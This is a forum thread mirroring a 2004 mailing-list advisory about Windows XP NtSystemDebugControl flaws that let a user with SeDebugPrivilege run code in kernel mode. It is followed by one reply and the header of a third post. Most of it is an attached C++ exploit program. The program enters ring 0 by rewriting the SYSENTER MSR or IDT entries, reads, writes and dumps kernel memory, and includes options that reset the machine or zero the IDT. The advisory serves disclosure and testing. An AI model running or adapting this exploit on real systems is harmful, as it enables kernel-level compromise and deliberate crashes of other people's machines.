Likes Likes:  0
Resultaten 1 tot 3 van de 3
Geen
  1. #1
    first last
    Multiple WinXP kernel vulns can give user mode programs kernel mode privileges
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Multiple WinXP kernel vulns can give user mode programs kernel mode privileges

    ------=_NextPart_000_14b7_3400_6c97
    Content-Type: text/plain; format=flowed

    Multiple WinXP kernel vulns can give user mode programs kernel mode
    privileges

    Summary
    =======

    There exist several vulnerabilities in one of Windows XP kernel's native API
    functions which allow any user with the SeDebugPrivilege privilege to
    execute arbitrary code in kernel mode, and read from and write to any memory
    address, including kernel memory.

    Tested systems
    ==============

    Windows XP Pro SP1 with latest patches

    It's likely that Windows 2003 also is vulnerable.

    Details
    =======

    ZwSystemDebugControl(), exported from ntdll.dll, calls a Windows operating
    system function NtSystemDebugControl(). This function is executed in ring 0
    (kernel mode) and is meant to be used by user mode debuggers having the
    SeDebugPrivilege privilege.

    Vulnerability #1, enter ring 0 method #1 - SYSENTER/SYSCALL instrs:

    This method writes to IA32_SYSENTER_EIP MSR by calling the kernel
    (NtSystemDebugControl()) and changing the MSR register to point to our code.
    Next time we execute the SYSENTER instruction, we're in ring 0 and have
    total control of the processor. Note that AMD processors may also support
    the SYSCALL instruction which behaves like SYSENTER and could also be used
    to enter ring 0.
    <end vuln #1>

    Vulnerability #2, enter ring 0 method #2 - I/O R/W kernel sub-funcs:

    This method writes to kernel memory. Modify an (preferably unused) IDT entry
    with a pointer to your code and execute an INT n instruction.
    Method1_WriteMemByte() uses a bug in the read I/O sub-function of
    NtSystemDebugControl(). The pointers in the IO_STRUCT aren't checked and we
    can exploit this bug to write to kernel memory. Since the kernel reads from
    an I/O port, we must first control the I/O port's value. This is easy since
    every PC has a BIOS POST port 80h. This is an 8-bit read/write port used by
    the BIOS during POST. If we first write to it, and then later read it, we
    can make the kernel write any byte to any address.
    <end vuln #2>

    Vulnerability #3, enter ring 0 method #3 - bus R/W kernel sub-funcs:

    Same as Method #2 only using DebugSysReadBusData/DebugSysWriteBusData
    sub-functions which will call the HAL to read and write bus data. The
    pointer in the BUS_STRUCT is not verified to be pointing to user data before
    calling the HAL and we can exploit this bug to write to the IDT and get ring
    0 access. This method uses CMOS index 0Eh as our controllable byte.
    <end vuln #3>

    Vulnerability #4, enter ring 0 method #4 - direct HW access:

    Since the user mode program has direct hardware access, it can also read
    from and write to kernel memory with the help of hardware which can access
    the processor's RAM. Similar to methods #2 and #3 only more complex.
    <end vuln #4>

    I have attached source code to test for methods #1-#3 and a few other
    options to show what a user mode program can do. Run it with /test1, /test2,
    and /test3 command line options to test your system.

    Impact
    ======

    Any user with the SeDebugPrivilege privilege could execute arbitrary code as
    the kernel, and read from and write to any address the kernel can. The
    program can do anything to the computer the kernel can, eg. reprogram any
    computer hardware, such as the BIOS flash memory or patch the kernel in
    memory.

    Since the user needs the SeDebugPrivilege, a privilege normally only given
    to administrators, to exploit these vulnerabilities, these are not serious
    vulnerabilities. The user is also normally an admin so he or she could
    easily install a device driver to become part of the kernel instead of
    exploiting these vulnerabilities.

    Microsoft says it's OK for user mode programs to write to the kernel so long
    as you have the SeDebugPrivilege privilege, and will not fix anything.

    Workaround
    ==========

    Go to "Local Security Policy\ Security Settings\ Local Policies\ User Rights
    Assignments" and remove all users and groups from "Debug Programs" and
    restart your computer. Note that any malicious program with administrator
    rights could re-enable the SeDebugPrivilege privilege and wait for the next
    reboot and then gain kernel access. Thus this isn't a very good workaround
    if you always log on as the administrator.

    __________________________________________________ _______________
    Click, drag and drop. My MSN is the simple way to design your homepage.
    http://click.atdmt.com/AVE/go/onm00200364ave/direct/01/

    ------=_NextPart_000_14b7_3400_6c97
    Content-Type: text/plain; name="xploit_dbg.cpp"; format=flowed
    Content-Transfer-Encoding: 8bit
    Content-Disposition: attachment; filename="xploit_dbg.cpp"

    /*
    * Discovered and coded Jan 25, 2004
    * Copyright (C)2004 randnut@hotmail.com
    */

    #include <windows.h>
    #include <stdio.h>

    typedef int NTSTATUS;
    #define NTAPI __stdcall

    const IA32_SYSENTER_CS = 0x174;
    const IA32_SYSENTER_ESP = 0x175;
    const IA32_SYSENTER_EIP = 0x176;

    const SelCodeKernel = 0x8;
    const CmosIndx = 0x0E; // CMOS Diagnostic Status
    const RdWrIoPort = 0x80;

    #define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}
    #define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}

    typedef enum _DEBUG_CONTROL_CODE {
    DebugSysReadIoSpace = 14,
    DebugSysWriteIoSpace = 15,
    DebugSysReadMsr = 16,
    DebugSysWriteMsr = 17,
    DebugSysReadBusData = 18,
    DebugSysWriteBusData = 19,
    } DEBUG_CONTROL_CODE;

    typedef struct _MSR_STRUCT {
    DWORD MsrNum; // MSR number
    DWORD NotUsed; // Never accessed by the kernel
    DWORD MsrLo; // IN (write) or OUT (read): Low 32 bits of MSR
    DWORD MsrHi; // IN (write) or OUT (read): High 32 bits of MSR
    } MSR_STRUCT;

    typedef struct _IO_STRUCT {
    DWORD IoAddr; // IN: Aligned to NumBytes,I/O address
    DWORD Reserved1; // Never accessed by the kernel
    PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer
    DWORD NumBytes; // IN: # bytes to read/write. Only use 1, 2, or 4.
    DWORD Reserved4; // Must be 1
    DWORD Reserved5; // Must be 0
    DWORD Reserved6; // Must be 1
    DWORD Reserved7; // Never accessed by the kernel
    } IO_STRUCT;

    // Copied from the Windows DDK
    typedef enum _BUS_DATA_TYPE {
    ConfigurationSpaceUndefined = -1,
    Cmos,
    EisaConfiguration,
    Pos,
    CbusConfiguration,
    PCIConfiguration,
    VMEConfiguration,
    NuBusConfiguration,
    PCMCIAConfiguration,
    MPIConfiguration,
    MPSAConfiguration,
    PNPISAConfiguration,
    SgiInternalConfiguration,
    MaximumBusDataType
    } BUS_DATA_TYPE, *PBUS_DATA_TYPE;

    // See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of
    each field
    typedef struct _BUS_STRUCT {
    ULONG Offset;
    PVOID Buffer;
    ULONG Length;
    BUS_DATA_TYPE BusDataType;
    ULONG BusNumber;
    ULONG SlotNumber;
    } BUS_STRUCT;

    typedef
    NTSTATUS
    (NTAPI *PZwSystemDebugControl)(
    DEBUG_CONTROL_CODE ControlCode,
    PVOID InputBuffer,
    ULONG InputBufferLength,
    PVOID OutputBuffer,
    ULONG OutputBufferLength,
    PULONG ReturnLength
    );

    PZwSystemDebugControl ZwSystemDebugControl = NULL;

    enum Ring0Method {
    Method1,
    Method2,
    };

    struct OldCpuState
    {
    Ring0Method meth;
    MSR_STRUCT msr[3];
    DWORD AffinityMask;
    DWORD EFLAGS, CS, SS, OldIdtDesc[2];
    };

    void help()
    {
    printf("Usage: name_of_program [option [option [...]]]\n");
    printf("/test1 - test for SYSENTER vuln\n");
    printf("/test2 - test for I/O write to mem
    vuln\n");
    printf("/test3 - test for bus write to mem
    vuln\n");
    printf("/reset - reset CPU in ring 0\n");
    printf("/zeroidt - zero IDT (reboots PC)\n");
    printf("/wrmem <addr> <byte> - write byte to mem\n");
    printf("/rdmsr <num> - read MSR\n");
    printf("/wrmsr <num> <hi> <lo> - write MSR\n");
    printf("/rdio <port> <size> - read I/O port\n");
    printf("/wrio <port> <size> <value> - write I/O port\n");
    printf("/dump <addr> <size> - dump memory from ring 0\n");
    exit(0);
    }

    int rdmsr(int MsrNum, MSR_STRUCT& msr)
    {
    msr.MsrNum = MsrNum;
    return ZwSystemDebugControl(DebugSysReadMsr, &msr, sizeof(msr), NULL, 0,
    NULL) >= 0;
    }

    int wrmsr(int MsrNum, MSR_STRUCT& msr)
    {
    msr.MsrNum = MsrNum;
    return ZwSystemDebugControl(DebugSysWriteMsr, &msr, sizeof(msr), NULL, 0,
    NULL) >= 0;
    }

    void PrintMsr(MSR_STRUCT& msr)
    {
    printf("MSR %08X = %08X_%08X\n", msr.MsrNum, msr.MsrHi, msr.MsrLo);
    }

    int HasSysEnter()
    {
    int retval = 0;

    __try
    {
    __asm
    {
    mov eax,1
    cpuid
    shr edx,12
    adc retval,0
    }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
    }

    return retval;
    }

    int SetProcessor(DWORD NewAffinityMask, DWORD* pOldAffinityMask)
    {
    DWORD tmp;

    FCHK(!pOldAffinityMask || GetProcessAffinityMask(GetCurrentProcess(),
    pOldAffinityMask, &tmp));
    FCHK(SetProcessAffinityMask(GetCurrentProcess(), NewAffinityMask));

    return 1;
    }

    /*
    * Returns < 0 on error. If ppAddr != NULL, returns 0x100 on success.
    * If ppAddr == NULL, returns byte read on success.
    */
    int CmosRead(int offs, BYTE** ppAddr = NULL)
    {
    BYTE buf;
    BUS_STRUCT bus;

    bus.BusDataType = Cmos;
    bus.BusNumber = 0;
    bus.SlotNumber = offs;
    bus.Buffer = ppAddr ? *ppAddr : &buf;
    bus.Offset = 0;
    bus.Length = 1;

    if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0,
    NULL) < 0)
    return -1;
    else
    return ppAddr ? 0x100 : buf;
    }

    /*
    * Returns 0 on failure, 1 on success
    */
    int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)
    {
    BUS_STRUCT bus;

    bus.BusDataType = Cmos;
    bus.BusNumber = 0;
    bus.SlotNumber = offs;
    bus.Buffer = ppAddr == NULL ? &val : *ppAddr;
    bus.Offset = 0;
    bus.Length = 1;

    return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL,
    0, NULL) >= 0;
    }

    /*
    * Write a byte to any location by exploiting another bug in the kernel. This
    function
    * uses DebugSysWriteIoSpace and DebugSysReadIoSpace to write the byte to any
    address.
    * This code must execute in ring 3.
    */
    int Method1_WriteMemByte(DWORD MemAddr, BYTE Value)
    {
    IO_STRUCT io;

    memset(&io, 0, sizeof(io));
    io.IoAddr = RdWrIoPort;
    io.pBuffer = &Value;
    io.NumBytes = 1;
    io.Reserved4 = 1;
    io.Reserved6 = 1;
    if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
    NULL) < 0)
    return 0;

    memset(&io, 0, sizeof(io));
    io.IoAddr = RdWrIoPort;
    io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
    io.NumBytes = 1;
    io.Reserved4 = 1;
    io.Reserved6 = 1;
    if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
    NULL) < 0)
    return 0;

    return 1;
    }

    /*
    * Read a byte from any location by exploiting another bug in the kernel.
    This function
    * uses DebugSysWriteIoSpace and DebugSysReadIoSpace to read the byte from
    any address.
    * This code must execute in ring 3.
    */
    int Method1_ReadMemByte(DWORD MemAddr)
    {
    BYTE Value;

    IO_STRUCT io;
    memset(&io, 0, sizeof(io));
    io.IoAddr = RdWrIoPort;
    io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
    io.NumBytes = 1;
    io.Reserved4 = 1;
    io.Reserved6 = 1;
    if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
    NULL) < 0)
    return -1;

    memset(&io, 0, sizeof(io));
    io.IoAddr = RdWrIoPort;
    io.pBuffer = &Value;
    io.NumBytes = 1;
    io.Reserved4 = 1;
    io.Reserved6 = 1;
    if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
    NULL) < 0)
    return -1;

    return Value;
    }

    int CmosTest()
    {
    int OldVal = CmosRead(CmosIndx);
    if (OldVal < 0)
    return 0;

    static int HasTested = 0;
    if (HasTested == 0)
    {
    HasTested = -1;

    if (!CmosWrite(CmosIndx, 0x55) || CmosRead(CmosIndx) != 0x55 ||
    !CmosWrite(CmosIndx, 0xAA) || CmosRead(CmosIndx) != 0xAA ||
    !CmosWrite(CmosIndx, (BYTE)OldVal))
    {
    printf("There's something wrong with your CMOS\n");
    return 0;
    }

    HasTested = 1;
    }
    else if (HasTested == -1)
    return 0;

    return 1;
    }

    /*
    * Write a byte to any location by exploiting another bug in the kernel. This
    function
    * uses DebugSysReadBusData and DebugSysWriteBusData to write the byte to any
    address.
    * This code must execute in ring 3.
    */
    int Method2_WriteMemByte(DWORD MemAddr, BYTE Value)
    {
    if (!CmosTest())
    return 0;

    int OldVal = CmosRead(CmosIndx);
    if (OldVal < 0)
    return 0;

    BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
    if (!CmosWrite(CmosIndx, Value) || CmosRead(CmosIndx, &p) < 0 ||
    !CmosWrite(CmosIndx, OldVal))
    return 0;

    return 1;
    }

    /*
    * Read a byte from any location by exploiting another bug in the kernel.
    This function
    * uses DebugSysReadBusData and DebugSysWriteBusData to read the byte from
    any address.
    * This code must execute in ring 3.
    */
    int Method2_ReadMemByte(DWORD MemAddr)
    {
    int OldVal, RetVal;

    if (!CmosTest())
    return -1;

    BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
    if ((OldVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, 0, &p) ||
    (RetVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, (BYTE)OldVal))
    return -1;

    return RetVal;
    }

    static int MemAccessMethType = -1;
    int SetMemAccessMeth(int NewMeth)
    {
    int old = MemAccessMethType;

    if (NewMeth == -1 || NewMeth == 1 || NewMeth == 2)
    MemAccessMethType = NewMeth;

    return old;
    }

    int WriteMemByte(DWORD MemAddr, BYTE Value)
    {
    switch (MemAccessMethType)
    {
    case 1:
    return Method1_WriteMemByte(MemAddr, Value);

    case 2:
    return Method2_WriteMemByte(MemAddr, Value);

    case -1:
    default:
    return Method1_WriteMemByte(MemAddr, Value) ||
    Method2_WriteMemByte(MemAddr, Value);
    }
    }

    int ReadMemByte(DWORD MemAddr)
    {
    switch (MemAccessMethType)
    {
    case 1:
    return Method1_ReadMemByte(MemAddr);

    case 2:
    return Method2_ReadMemByte(MemAddr);

    case -1:
    default:
    int RetVal;
    if ((RetVal = Method1_ReadMemByte(MemAddr)) >= 0 ||
    (RetVal = Method2_ReadMemByte(MemAddr)) >= 0)
    (void)0 /* Nothing */;
    return RetVal;
    }
    }

    /*
    * Tries to enter ring 0 by overwriting IA32_SYSENTER_EIP and executing
    SYSENTER.
    * Returns 1 on success. If it returns 1, EFLAGS.IF=0.
    */
    int Method1_EnterRing0(OldCpuState& old)
    {
    old.meth = Method1;
    if (!HasSysEnter())
    return 0;

    FCHK(SetProcessor(1, &old.AffinityMask));
    FCHK2(rdmsr(IA32_SYSENTER_CS, old.msr[0]), cleanup);
    FCHK2(rdmsr(IA32_SYSENTER_ESP, old.msr[1]), cleanup);
    FCHK2(rdmsr(IA32_SYSENTER_EIP, old.msr[2]), cleanup);

    DWORD Ring0Addr;
    __asm
    {
    mov Ring0Addr,offset ring0_addr
    }

    Sleep(100); // A more reliable way is to block all interrupts through the
    PIC.

    MSR_STRUCT msr;
    if (old.msr[0].MsrLo == 0) // SYSENTER not enabled
    {
    // IMPORTANT:
    // I assume the OS sets up the GDT as follows:
    // baseing0 code
    // ring0 data
    // ring3 code
    // ring3 data
    // Will crash eventually if it's not setup that way
    msr.MsrLo = SelCodeKernel;
    msr.MsrHi = 0;
    FCHK2(wrmsr(IA32_SYSENTER_CS, msr), cleanup);
    }

    msr.MsrHi = 0;
    msr.MsrLo = Ring0Addr;
    FCHK2(wrmsr(IA32_SYSENTER_EIP, msr), cleanup2); // Let's hope we won't get
    interrupted after this call

    __asm
    {
    mov ecx,esp
    // Hmm, can't assemble SYSENTER or DB 0F,34
    jmp short $+3
    mov eax,9090340Fh
    ring0_addr:
    mov esp,ecx
    // Hot dog!
    }

    return 1;

    cleanup2:
    if (old.msr[0].MsrLo == 0)
    wrmsr(IA32_SYSENTER_CS, old.msr[0]);
    cleanup:
    FCHK(SetProcessor(old.AffinityMask, NULL));
    return 0;
    }

    /*
    * Enters ring 3
    */
    void Method1_LeaveRing0(OldCpuState& old)
    {
    MSR_STRUCT* pmsr = &old.msr[0];
    __asm
    {
    mov ebx,pmsr

    mov ecx,[ebx] // IA32_SYSENTER_CS
    mov eax,[ebx+8]
    mov edx,[ebx+0Ch]
    test eax,eax
    jz skip1
    wrmsr
    skip1:

    mov ecx,[ebx+10h] // IA32_SYSENTER_ESP
    mov eax,[ebx+10h+8]
    mov edx,[ebx+10h+0Ch]
    wrmsr

    mov ecx,[ebx+20h] // IA32_SYSENTER_EIP
    mov eax,[ebx+20h+8]
    mov edx,[ebx+20h+0Ch]
    wrmsr

    mov ecx,esp
    mov edx,offset ring3_code
    // Hmm, can't assemble SYSEXIT or DB 0F,35
    jmp short $+3
    mov eax,90350FFBh
    ring3_code:
    }
    if (old.msr[0].MsrLo == 0) // SYSENTER was not enabled
    wrmsr(old.msr[0].MsrNum, old.msr[0]);

    SetProcessor(old.AffinityMask, NULL);
    }

    /*
    * Tries to enter ring 0 by telling the kernel to write to the IDT with bytes
    we control.
    * Returns 1 on success. If it returns 1, EFLAGS.IF=0.
    */
    int Method2_EnterRing0(OldCpuState& old)
    {
    old.meth = Method2;
    FCHK(SetProcessor(1, &old.AffinityMask));

    DWORD Ring0Addr, EFLAGS, _CS, _SS;
    DWORD idt[2], idt_base, idt_limit;
    __asm
    {
    mov Ring0Addr,offset ring0_addr
    sidt idt+2
    movzx eax,word ptr idt+2
    mov idt_limit,eax
    mov eax,idt+4
    mov idt_base,eax
    pushfd
    pop eax
    mov EFLAGS,eax
    mov word ptr _CS,cs
    mov word ptr _SS,ss
    }
    old.EFLAGS = EFLAGS;
    old.CS = _CS;
    old.SS = _SS;

    #define IntNum 0xFF

    if (IntNum*8 + 7 > idt_limit)
    {
    printf("ERROR: The interrupt number is outside the IDT. Change it and
    recompile.\n");
    goto cleanup;
    }

    BYTE* pOldIdtDesc = (BYTE*)&old.OldIdtDesc;
    for (int i = 0; i < 8; i++)
    {
    int SomeByte;
    FCHK2((SomeByte = ReadMemByte(idt_base + IntNum*8 + i)) >= 0, cleanup);
    *pOldIdtDesc++ = (BYTE)SomeByte;
    }

    DWORD IdtDesc[2];
    IdtDesc[0] = (SelCodeKernel << 16) | (Ring0Addr & 0xFFFF);
    IdtDesc[1] = (Ring0Addr & 0xFFFF0000) | 0xEE00; // 32-bit interrupt gate,
    DPL3

    for (int i = 0; i < 8; i++)
    FCHK2(WriteMemByte(idt_base + IntNum*8 + i, *((BYTE*)&IdtDesc + i)),
    cleanup);

    __asm
    {
    xchg esp,eax
    int IntNum
    ring0_addr:
    xchg esp,eax
    // What do you know, it worked!
    }

    return 1;

    cleanup:
    FCHK(SetProcessor(old.AffinityMask, NULL));
    return 0;
    }

    /*
    * Enters ring 3
    */
    void Method2_LeaveRing0(OldCpuState& old)
    {
    DWORD idt[2];
    DWORD EFLAGS = old.EFLAGS;
    DWORD _CS = old.CS;
    DWORD _SS = old.SS;
    DWORD* pOldIdtDesc = &old.OldIdtDesc[0];
    __asm
    {
    sidt idt+2
    mov eax,idt+4
    mov ecx,pOldIdtDesc
    mov edx,[ecx]
    mov ecx,[ecx+4]
    mov [eax+IntNum*8],edx
    mov [eax+IntNum*8+4],ecx

    mov eax,esp
    push _SS
    push eax
    mov eax,EFLAGS
    and eax,not (1 shl 0Eh)
    push eax
    push _CS
    push offset ring3_addr
    iretd
    ring3_addr:
    }

    SetProcessor(old.AffinityMask, NULL);
    }

    int EnterRing0(OldCpuState& old)
    {
    /*
    * Method2 is safer than Method1
    */
    return Method2_EnterRing0(old) || Method1_EnterRing0(old);
    }

    void LeaveRing0(OldCpuState& old)
    {
    switch (old.meth)
    {
    case Method1: Method1_LeaveRing0(old); break;
    case Method2: Method2_LeaveRing0(old); break;
    default: __asm jmp short $
    }
    }

    int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)
    {
    TOKEN_PRIVILEGES tok;

    tok.PrivilegeCount = 1;
    tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;

    FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));
    FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));

    return 1;
    }

    void PrintDelay(int secs)
    {
    while (secs--)
    {
    printf("%d..", secs+1);
    Sleep(1000);
    }
    printf("NOW\n");
    }

    void PrintVulnMsg(int failed)
    {
    if (!failed)
    printf("Your operating system is vulnerable to this exploit.\n");
    else
    {
    printf("If this user account has the SeDebugPrivilege privilege then
    your\n");
    printf("OS doesn't appear to be vulnerable.\n\n");
    }
    }

    DWORD ReadMem(DWORD MemAddr, void* buf, DWORD bufsz)
    {
    if (!bufsz || !buf)
    return 0;

    #if 0
    /*
    * Will crash XP if we read from non-present memory so don't use this code
    */
    BYTE* p = (BYTE*)buf;
    for (DWORD i = 0; i < bufsz; i++)
    {
    int SomeByte;
    if ((SomeByte = ReadMemByte(MemAddr++)) < 0)
    break;
    p[i] = (BYTE)SomeByte;
    }
    return i;
    #else
    OldCpuState old;
    if (!EnterRing0(old))
    return 0;

    DWORD ret_val;
    __asm
    {
    sub esp,8
    sidt [esp+2]
    mov ebx,[esp+4]
    add esp,8
    push dword ptr [ebx+0Eh*8]
    push dword ptr [ebx+0Eh*8+4]

    mov eax,offset xcpt_handler
    mov [ebx+0Eh*8],eax
    mov [ebx+0Eh*8+4],eax
    mov word ptr [ebx+0Eh*8+4],8E00h
    mov word ptr [ebx+0Eh*8+2],cs

    mov ecx,bufsz
    mov esi,MemAddr
    mov edi,buf
    rep movsb
    jmp skip_xcpt
    xcpt_handler:
    add esp,8
    popfd
    pop eax
    skip_xcpt:
    pop dword ptr [ebx+0Eh*8+4]
    pop dword ptr [ebx+0Eh*8]

    mov eax,bufsz
    sub eax,ecx
    mov ret_val,eax
    }

    LeaveRing0(old);
    return ret_val;
    #endif
    }

    int DumpMem(DWORD MemAddr, DWORD size)
    {
    if (size == 0)
    return 1;
    if (MemAddr + size - 1 < MemAddr)
    return 0;

    DWORD OldMask;
    FCHK(SetProcessor(1, &OldMask));

    int ret = 1;
    const BytesPerLine = 16;
    while (size)
    {
    BYTE buf[BytesPerLine];
    DWORD addr = MemAddr - MemAddr % BytesPerLine;
    DWORD SizeRead = ReadMem(addr, buf, BytesPerLine);

    printf("%08X:", addr);
    for (int i = 0; i < BytesPerLine; i++)
    {
    if ((i & 3) == 0 && i != 0)
    printf("-");
    else
    printf(" ");
    if (addr < MemAddr || addr > MemAddr+size-1)
    printf(" ");
    else if ((DWORD)i >= SizeRead)
    printf("??");
    else
    printf("%02X", buf[i]);
    addr++;
    }
    printf(" ");

    addr = MemAddr - MemAddr % BytesPerLine;
    for (int i = 0; i < BytesPerLine; i++)
    {
    if (addr < MemAddr || addr > MemAddr+size-1)
    printf(" ");
    else if ((DWORD)i >= SizeRead)
    printf("?");
    else if (buf[i] >= 0x20 && buf[i] <= 0x7E)
    printf("%c", buf[i]);
    else
    printf(".");
    addr++;
    }
    printf("\n");

    size -= min(size, addr - MemAddr);
    MemAddr = addr;
    }

    SetProcessor(OldMask, NULL);
    return ret;
    }

    int main(int argc, char* argv[])
    {
    HMODULE hNtdll;
    FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
    FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll,
    "ZwSystemDebugControl")) != NULL);

    HANDLE hToken;
    FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
    TOKEN_QUERY, &hToken));
    FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));

    for (int i = 1; i < argc; i++)
    {
    char* s = argv[i];
    if (*s != '/' && *s != '-')
    help();
    s++;

    if (!strcmp(s, "rdmsr") && i+1 < argc)
    {
    MSR_STRUCT msr;
    int num = strtoul(argv[++i], NULL, 0);
    if (rdmsr(num, msr))
    PrintMsr(msr);
    else
    printf("rdmsr(%08X) failed\n", num);
    }
    else if (!strcmp(s, "wrmsr") && i+3 < argc)
    {
    MSR_STRUCT msr;
    int num = strtoul(argv[++i], NULL, 0);
    msr.MsrHi = strtoul(argv[++i], NULL, 0);
    msr.MsrLo = strtoul(argv[++i], NULL, 0);
    if (!wrmsr(num, msr))
    {
    printf("wrmsr(%08X) failed\n", num);
    continue;
    }
    if (rdmsr(num, msr))
    PrintMsr(msr);
    else
    printf("rdmsr(%08X) failed\n", num);
    }
    else if (!strcmp(s, "rdio") && i+2 < argc)
    {
    IO_STRUCT io;
    memset(&io, 0, sizeof(io));
    DWORD Buffer;
    io.IoAddr = strtoul(argv[++i], NULL, 0);
    io.pBuffer = &Buffer;
    io.NumBytes = strtoul(argv[++i], NULL, 0);
    io.Reserved4 = 1;
    io.Reserved6 = 1;

    if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
    {
    printf("Size must be 1, 2, or 4 bytes\n");
    continue;
    }
    if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
    NULL) < 0)
    {
    printf("Could not read I/O space\n");
    continue;
    }
    switch (io.NumBytes)
    {
    case 1: printf("0x%02X\n", (BYTE)Buffer); break;
    case 2: printf("0x%04X\n", (WORD)Buffer); break;
    case 4: printf("0x%08X\n", Buffer); break;
    default: printf("WTF\n"); break;
    }
    }
    else if (!strcmp(s, "wrio") && i+3 < argc)
    {
    IO_STRUCT io;
    memset(&io, 0, sizeof(io));
    DWORD Buffer;
    io.IoAddr = strtoul(argv[++i], NULL, 0);
    io.pBuffer = &Buffer;
    io.NumBytes = strtoul(argv[++i], NULL, 0);
    io.Reserved4 = 1;
    io.Reserved6 = 1;
    Buffer = strtoul(argv[++i], NULL, 0);

    if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
    {
    printf("Size must be 1, 2, or 4 bytes\n");
    continue;
    }
    if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
    NULL) < 0)
    {
    printf("Could not write to I/O space\n");
    continue;
    }
    }
    else if (!strcmp(s, "reset"))
    {
    OldCpuState old;
    printf("Will reset computer in...");
    PrintDelay(3);

    if (!EnterRing0(old))
    {
    printf("Could not enter ring 0\n");
    continue;
    }
    __asm
    {
    push 0
    lidt [esp]
    pop esp
    inc esp
    push esp
    }
    LeaveRing0(old);
    printf("WTF\n");
    }
    else if (!strcmp(s, "wrmem") && i+2 < argc)
    {
    DWORD MemAddr = strtoul(argv[++i], NULL, 0);
    BYTE Value = (BYTE)strtoul(argv[++i], NULL, 0);

    if (!WriteMemByte(MemAddr, Value))
    {
    printf("Could not write the byte\n");
    continue;
    }
    }
    else if (!strcmp(s, "zeroidt"))
    {
    DWORD OldMask;
    if (!SetProcessor(1, &OldMask))
    {
    printf("SetProcessor() failed\n");
    continue;
    }

    DWORD idt[2];
    int idt_size, idt_base;
    __asm
    {
    sidt idt+2
    movzx eax,word ptr idt+2
    mov idt_size,eax
    mov eax,idt+4
    mov idt_base,eax
    }
    printf("Will start writing to IDT @ %08X in...", idt_base);
    PrintDelay(3);

    for (int j = 0; j <= idt_size; j++)
    {
    if (!WriteMemByte(idt_base + j, 0x00))
    {
    printf("Could not write the byte to address %08X\n", idt_base + j);
    break;
    }
    }
    if (j != 0)
    printf("WTF\n");

    SetProcessor(OldMask, NULL);
    }
    else if (!strcmp(s, "test1"))
    {
    if (!HasSysEnter())
    {
    printf("Sorry. SYSENTER/SYSEXIT instructions aren't supported by your
    processor.\n");
    continue;
    }

    int failed = 1;
    OldCpuState old;

    printf("Testing SYSENTER vulnerability in...");
    PrintDelay(3);

    if (Method1_EnterRing0(old))
    {
    failed = 0;
    Method1_LeaveRing0(old);
    }

    PrintVulnMsg(failed);
    }
    else if (!strcmp(s, "test2"))
    {
    int failed = 1;
    OldCpuState old;

    printf("Testing I/O write to memory vulnerability in...");
    PrintDelay(3);

    int OldWrite = SetMemAccessMeth(1);
    if (Method2_EnterRing0(old))
    {
    failed = 0;
    Method2_LeaveRing0(old);
    }
    SetMemAccessMeth(OldWrite);

    PrintVulnMsg(failed);
    }
    else if (!strcmp(s, "test3"))
    {
    int failed = 1;
    OldCpuState old;

    printf("Testing bus write to memory vulnerability in...");
    PrintDelay(3);

    int OldWrite = SetMemAccessMeth(2);
    if (Method2_EnterRing0(old))
    {
    failed = 0;
    Method2_LeaveRing0(old);
    }
    SetMemAccessMeth(OldWrite);

    PrintVulnMsg(failed);
    }
    else if (!strcmp(s, "dump") && i+2 < argc)
    {
    DWORD MemAddr = strtoul(argv[++i], NULL, 0);
    DWORD size = strtoul(argv[++i], NULL, 0);

    if (!DumpMem(MemAddr, size))
    printf("Could not dump memory\n");
    }
    else
    {
    help();
    }
    }

    return 1;
    }


    ------=_NextPart_000_14b7_3400_6c97--

  2. #2
    3APA3A
    Multiple WinXP kernel vulns can give user mode programs kernel mode privileges
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Multiple WinXP kernel vulns can give user mode programs kernel mode privileges

    Dear first last,

    --Thursday, February 19, 2004, 1:15:20 AM, you wrote to full-disclosure@lists.netsys.com:

    fl> There exist several vulnerabilities in one of Windows XP kernel's native API
    fl> functions which allow any user with the SeDebugPrivilege privilege to
    fl> execute arbitrary code in kernel mode, and read from and write to any memory
    fl> address, including kernel memory.

    SeDebugPrivilege allows you to change execution flow for any process or
    kill any process (for example security subsystem or any RPC server).
    This privilege is enough to compromise system in thousand ways by
    design. By default only Administrators have this privilege.

    --
    ~/ZARAZA
    Ýëåêòðè÷åñêèå øîêè î÷åíü ïîëåçíû äëÿ ôîðìèðîâàíèÿ õàðàêòåðà. (Ëåì)


  3. #3
    Alun Jones
    Multiple WinXP kernel vulns can give user mode programs kernel mode privileges
    Gast
